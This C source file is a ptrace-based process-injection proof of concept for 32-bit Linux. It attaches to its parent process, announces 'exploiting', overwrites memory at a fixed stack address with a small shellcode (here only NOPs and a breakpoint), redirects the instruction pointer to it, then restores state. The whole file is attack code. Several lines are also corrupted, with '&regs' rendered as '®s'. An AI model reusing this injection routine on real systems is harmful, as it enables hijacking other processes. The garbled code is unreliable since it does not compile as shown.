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/* -scutstyle */
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
pid_t z_fork (void);
void hexdump (unsigned char *data, unsigned int amount);
unsigned char shellcode[] = "\x90\x90\xcc\x73";
int
main (int argc, char *argv[])
{
pid_t cpid;
struct user regs;
unsigned long int safed_eip;
unsigned long int addr,
addr_walker;
unsigned char data_saved[256];
#if 0
if (argc != 2 || sscanf (argv[1], "%d", &cpid) != 1) {
printf ("usage: %s <pid>\n", argv[0]);
exit (EXIT_FAILURE);
}
#endif
cpid = getppid();
if (z_fork () != 0) {
printf ("parent. exiting.\n");
exit (EXIT_FAILURE);
}
printf ("pid = %d\n", cpid);
printf ("exploiting\n\n");
if (ptrace (PTRACE_ATTACH, cpid, NULL, NULL) < 0) {
perror ("ptrace");
exit (EXIT_FAILURE);
}
/* save data */
addr = 0xbffff010;
for (addr_walker = 0 ; addr_walker < 256 ; ++addr_walker) {
data_saved[addr_walker] = ptrace (PTRACE_PEEKDATA, cpid,
addr + addr_walker, NULL);
}
hexdump (data_saved, sizeof (data_saved));
/* write */
for (addr_walker = 0 ; addr_walker < sizeof (shellcode) ;
++addr_walker)
{
ptrace (PTRACE_POKEDATA, cpid, addr + addr_walker,
shellcode[addr_walker] & 0xff);
}
/* redirect eip */
memset (®s, 0, sizeof (regs));
if (ptrace (PTRACE_GETREGS, cpid, NULL, ®s) < 0) {
perror ("ptrace PTRACE_GETREGS");
exit (EXIT_FAILURE);
}
// write eip */
safed_eip = regs.regs.eip;
regs.regs.eip = 0xbffff010;
if (ptrace (PTRACE_SETREGS, cpid, NULL, ®s) < 0) {
perror ("ptrace PTRACE_GETREGS");
exit (EXIT_FAILURE);
}
if (ptrace (PTRACE_CONT, cpid, NULL, NULL) < 0) {
perror ("ptrace PTRACE_CONT");
exit (EXIT_FAILURE);
}
wait (NULL);
printf ("detrap\n");
/* restore */
for (addr_walker = 0 ; addr_walker < 256 ; ++addr_walker) {
ptrace (PTRACE_POKEDATA, cpid, addr + addr_walker,
data_saved[addr_walker] & 0xff);
}
/* restore regs */
regs.regs.eip = safed_eip;
if (ptrace (PTRACE_SETREGS, cpid, NULL, ®s) < 0) {
perror ("ptrace PTRACE_GETREGS");
exit (EXIT_FAILURE);
}
if (ptrace (PTRACE_DETACH, cpid, NULL, NULL) < 0) {
perror ("ptrace PTRACE_DETACH");
exit (EXIT_FAILURE);
}
exit (EXIT_SUCCESS);
}
void
hexdump (unsigned char *data, unsigned int amount)
{
unsigned int dp, p; /* data pointer */
const char trans[] =
"................................ !\"#$%&'()*+,-./0123456789"
":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
"nopqrstuvwxyz{|}~...................................."
"....................................................."
"........................................";
for (dp = 1; dp <= amount; dp++) {
printf ("%02x ", data[dp-1]);
if ((dp % 8) == 0)
printf (" ");
if ((dp % 16) == 0) {
printf ("| ");
p = dp;
for (dp -= 16; dp < p; dp++)
printf ("%c", trans[data[dp]]);
printf ("\n");
}
}
if ((amount % 16) != 0) {
p = dp = 16 - (amount % 16);
for (dp = p; dp > 0; dp--) {
printf (" ");
if (((dp % 8) == 0) && (p != 8))
printf (" ");
}
printf (" | ");
for (dp = (amount - (16 - p)); dp < amount; dp++)
printf ("%c", trans[data[dp]]);
}
printf ("\n");
return;
}
/* z_fork
*
* fork and detach forked client completely to avoid zombies.
* taken from richard stevens excellent system programming book :) thanks,
* whereever you are now.
*
* caveat: the pid of the child has already died, it can just be used to
* differentiate between parent and not parent, the pid of the
* child is inaccessibly.
*
* return pid of child for old process
* return 0 for child
*/
pid_t
z_fork (void)
{
pid_t pid;
pid = fork ();
if (pid < 0) {
return (pid);
} else if (pid == 0) {
/* let the child fork again
*/
pid = fork ();
if (pid < 0) {
return (pid);
} else if (pid > 0) {
/* let the child and parent of the second child
* exit
*/
exit (EXIT_SUCCESS);
}
return (0);
}
waitpid (pid, NULL, 0);
return (pid);
}
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